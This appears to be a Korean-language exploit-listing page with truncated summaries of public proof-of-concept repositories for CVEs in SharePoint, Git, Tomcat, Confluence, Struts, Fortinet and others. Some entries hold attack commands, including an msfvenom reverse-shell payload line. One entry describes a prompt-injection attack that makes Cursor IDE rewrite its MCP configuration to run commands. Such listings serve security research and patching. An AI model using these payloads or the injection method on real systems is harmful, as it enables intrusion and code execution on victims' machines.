CVE-2025-53770

CVE-2025-53770 SharePoint 설명 신뢰할 수 없는 데이터의 역직렬화로 인해 온프레미스 Microsoft SharePoint Server에서 공격자가 원격으로 코드를 실행하고 시스템을 손상시킬 수 있습니다. Microsoft는 활발한 공격을 인지하고 있으며 포괄적인 업데이트를 준비 중입니다. CVE 문서의 완화 조치가 적용되어 있는지 확인하십시오. 영향: 인증되지 않은 공격자가 원격 코드 실행을 수행하여 시스템 전체를 손상시킬 수 있습니다. 심각도: 치명적 Microsoft SharePoint 온프레미스...

INPGer

INPGer | CVE-2022-4063 - InPost Gallery CVE-2022-4063 - InPost Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh 사용 방법...

CVE-2022-28368-handler

CVE-2022-28368-handler 이 저장소는 dompdf 캐시된 글꼴 취약점CVE-2022-28368을 대부분 처리하는 Python 스크립트를 포함하고 있습니다. 여러분이 해야 할 일은 요청을 생성하는 것뿐입니다. 또한 익스플로잇을 시작하기 위한 트리거 문자열을 제공합니다 : Usage root@kitploit: usage: CVE-2022-28368.py -h -d DOMPDFLOCATION -f FONTNAME -i HTTPIP -p HTTPPORT -P PHP -w -r This script handles the...

CVE-2023-27372

CVE-2023-27372 SPIP 4.2.1 이전 버전에서는 직렬화serialization가 잘못 처리되어 공개 영역의 양식 값을 통해 원격 코드 실행이 가능합니다. 수정된 버전은 3.2.18, 4.0.10, 4.1.8 및 4.2.1입니다. 이 PoC는 SPIP의 PHP 코드 삽입을 악용합니다. 이 취약점은 oubli 매개변수에 존재하며, 인증되지 않은 사용자가 웹 사용자 권한으로 임의의 명령을 실행할 수 있게 합니다. 3.2, 4.0, 4.1 및 4.2 브랜치가 영향을 받습니다. 취약한 버전은 직렬화된 문자열에 대해 처리가...

CVE-2025-471812-POC

root@kitploit: / | / | / / | / / / |/ // / / / / / / &password= 2. 서버는 "anonymous"를 인증하지만NULL에서 잘림 전체 페이로드가 세션 파일에 기록됨 → UID 쿠키 반환 3. GET /dir.html Cookie: UID= 서버가 세션 파일 로드 → 주입된 Lua 실행 → RCE 설치 root@kitploit: git clone https://github.com/d3vn0mi/cve2025471812poc.git cd cve2025471812poc pip...

CVE-2025-56015

CVE-2025-56015 GenieACS RCE 개요 CVE-2025-56015 에 대한 개념 증명 익스플로잇입니다. 이는 GenieACS 에서 프로비저닝 컨텍스트 내에서 임의의 JavaScript 실행을 가능하게 하는 중요한 샌드박스 탈출 및 코드 삽입 취약점입니다. declare.constructor.constructor 프로토타입 체인을 이용하여 공격자는 제한된 JavaScript 환경을 탈출하고, 기본 Node.js childprocess 및 모듈에 접근하여 완전한 원격 코드 실행RCE을 달성할 수 있습니다...

CVE-2019-1619

CVE-2019-1619 인증 우회에 필요한 토큰을 생성하는 PowerShell 스크립트입니다. 필자는 침투 테스트 중 CVE-2019-1619에 취약한 서버를 발견했습니다. 제한된 접근 권한으로 인해 Metasploit 모듈을 사용할 수 없어 수동으로 익스플로잇을 진행했습니다. 토큰 생성을 자동화하기 위해 이 스크립트를 작성했습니다. 해당 CVE의 전체 문서는 https://github.com/pedrib/PoC/blob/master/advisories/Cisco/cisco-dcnm-rce.txt에서 확인할 수 있습니다...

running-CVE-2024-32002-locally-for-tesing

로컬 사용을 위해 이 내용을 적용 중입니다 우리는 이 블로그 게시물을 따르지만 몇 가지 주요 차이점이 있습니다 https://amalmurali.me/posts/git-rce 작동 방식 1. 악성 저장소gitrce에는 특수하게 조작된 경로를 가진 서브모듈이 포함되어 있습니다. 2. 서브모듈 경로는 대소문자를 구분하지 않는 파일 시스템을 악용하는 대소문자 변형을 사용합니다. 3. 서브모듈에는 악성 훅이 포함된 .git/ 디렉터리를 가리키는 심볼릭 링크가 포함되어 있습니다. 4. 저장소를 클론하면 심볼릭 링크가 따라가면서 악성 훅...

CVE-2025-61304

CVE-2025-61304 "조작된 IP 주소를 통한 Dynatrace ActiveGate ping 확장 프로그램최대 1.016의 OS 명령 주입 취약점" 내부적으로 ping 확장 프로그램은 Windows 명령 프롬프트를 사용하여 ping을 수행합니다. Test Target Host 입력 필드의 길이도 1024자입니다. IP 주소 뒤에 '&'를 사용하기만 하면 ActiveGate가 실행할 추가 명령을 작성할 수 있습니다. Dynatrace에 보고되었으며 다음 커밋으로 수정되었습니다:...

Log4j-RCE-Scanner

...

CVE-2025-32756-POC

CVE-2025-32756: Fortinet RCE PoC Fortinet製品に影響を与える重大なスタックベースのバッファオーバーフロー脆弱性CVE-2025-32756の概念実証です。 脆弱性 CVSS : 9.8 重大 タイプ : AuthHashクッキー処理におけるスタックベースのバッファオーバーフロー 影響 : 認証不要のリモートコード実行 影響を受ける製品 : FortiVoice, FortiMail, FortiNDR, FortiRecorder, FortiCamera...

CVE-2025-5688-FreeRTOS-Plus-TCP-Out-of-Bounds-Write

CVE-2025-5688 – FreeRTOS-Plus-TCP 아웃오브바운즈 쓰기 익스플로잇 원격 메모리 손상 / DoS / 잠재적 RCE 트리거 - FreeRTOS-Plus-TCP가 LLMNR 또는 mDNS 쿼리에서 과도하게 긴 DNS 이름을 처리할 때 발생 버퍼 할당 방식 1. 익스플로잇 제작자: Mohammed Idrees Banyamer 국가: 요르단 Instagram: @banyamersecurity 날짜: 2025년 12월 26일 개요 이 PoC는 과도하게 긴 DNS 이름이 포함된 특수 제작된 UDP 멀티캐스트 패킷을...

exploit_laravel_cve-2018-15133

CVE-2018-15133 대상 Laravel 익스플로잇 이 코드는 CVE-2018-15133 취약점을 익스플로잇하며, kosmiz의 PoC와 이 취약점에 대한 Metasploit 익스플로잇을 기반으로 합니다. 저는 주로 Hack The Box의 머신을 위해 이 코드를 작성했습니다. 당시 Metasploit을 사용하고 싶지 않았고, Python 연습 핑계도 필요했기 때문입니다. CVE 설명: Laravel Framework 5.5.40 이하 및 5.6.x 5.6.29 이하 버전에서 잠재적으로 신뢰할 수 없는 X-XSRF-TOK...

CVE-2009-3999

CVE-2009-3999 HP Power Manager 4.2 Build 7 익스플로잇 다음에서 영감을 받음: https://github.com/CountablyInfinite/HP-Power-Manager-Buffer-Overflow-Python3 1단계 msfvenom -p windows/shellreversetcp LHOST=YOUR-KALI-LINUX-IP LPORT=80 EXITFUNC=thread -b '\x00\x1a\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5'...

CNVD-C-2019-48814-CNNVD-201904-961

CNVD-C-2019-48814和CNNVD-201904-961 t00ls-ximcx0101氏によるスクリプト提供に感謝します。 CNVD-C-2019-48814 POC Summary 関連リンクは以下の通りです: 清水川崎氏の簡書: https://www.jianshu.com/p/c4982a845f55 安全祖师爺転載: https://dwz.cn/2GQvbUae 環境によってパスが変わる場合があります: デフォルトのアップロードパス:...

CVE-2017-12617

CVE-2017-12617 CVE-2017-12617은 Apache Tomcat에서 발견된 치명적인 원격 코드 실행RCE 취약점입니다. HTTP PUT가 활성화된 시스템Default 서블릿의 "read-only" 초기화 파라미터를 "false"로 설정이 영향을 받습니다. 9.0.1Beta, 8.5.23, 8.0.47, 7.0.82 이전의 Tomcat 버전은 잠재적으로 위험한 원격 코드 실행RCE 취약점을 포함하며, 모든 운영 체제에서 기본 서블릿이 readonly 파라미터를 false로 설정하거나 WebDAV 서블릿이 활성화되...

CVE-2021-26084

CVE-2021-26084 소개 이 문서는 CVE-2021-26084 - Confluence Server Webwork OGNL 인젝션 1에 대한 개요를 제공합니다. 이 취약점을 통해 인증된 사용자가 Confluence Server 또는 Data Center 인스턴스에서 임의의 코드를 실행할 수 있습니다. TL;DR Confluence Server / Data Center는 웹 요청을 처리하기 위해 Webwork 2 MVC 프레임워크를 사용하며, 뷰 계층은 주로 Velocity 템플릿으로 구성됩니다. Velocity 템플릿에서...

cve-2017-9805.py

CVE-2017-9805.py 1. CVE 2017 9805 Apache Struts를 위한 더 나은 익스플로잇 코드 2. 대부분 오류가 없어야 합니다. 왜 다시 만들었나? 온라인에 있는 대부분의 익스플로잇 코드는 단순히 문자열 연결을 사용하여 사용자가 제공한 명령을 XML 문자열에 삽입한다는 것을 알았습니다. XML은 특수 문자에 인코딩이 필요하기 때문에 이 방식은 매우 신뢰할 수 없습니다. 따라서 이러한 스크립트가 이를 고려하지 않기 때문에 오류가 발생합니다. 또한 적절히 인코딩된 XML은 명령 실행에 문제를 일으킬 수...

CVE-2025-54135

다음은 Cursor IDE의 CVE-2025-54135 취약점에 대한 완전한 기능의 익스플로잇으로, Model Context Protocol MCP 구성을 조작하여 원격 코드 실행을 달성하는 프롬프트 인젝션 공격을 시연하기 위해 설계되었습니다. 이 코드는 공격자가 피해자의 Cursor IDE가 상호 작용하도록 구성된 공개 Slack 채널 또는 유사한 외부 MCP 서버에 접근할 수 있다고 가정합니다. 익스플로잇은 /.cursor/mcp.json 파일을 다시 작성하여 개발자 권한 하에 임의의 명령을 실행하는 악성 프롬프트를...

git_rce

CVE-2024-32002: git clone을 통한 Git RCE 악용 이 저장소는 git clone 작업 중 RCE를 허용하는 Git의 취약점인 CVE-2024-32002를 악용하는 PoC를 포함합니다. 공격자는 특정 방식으로 서브모듈이 포함된 저장소를 제작하여 대소문자를 구분하지 않는 파일시스템에서 심볼릭 링크 처리를 악용하고, .git/ 디렉터리에 파일을 작성하여 악성 훅의 실행을 유도할 수 있습니다. 참고: 이 PoC는 Windows 또는 Mac 시스템에서만 작동합니다. 블로그 게시글 이 익스플로잇이 어떻게...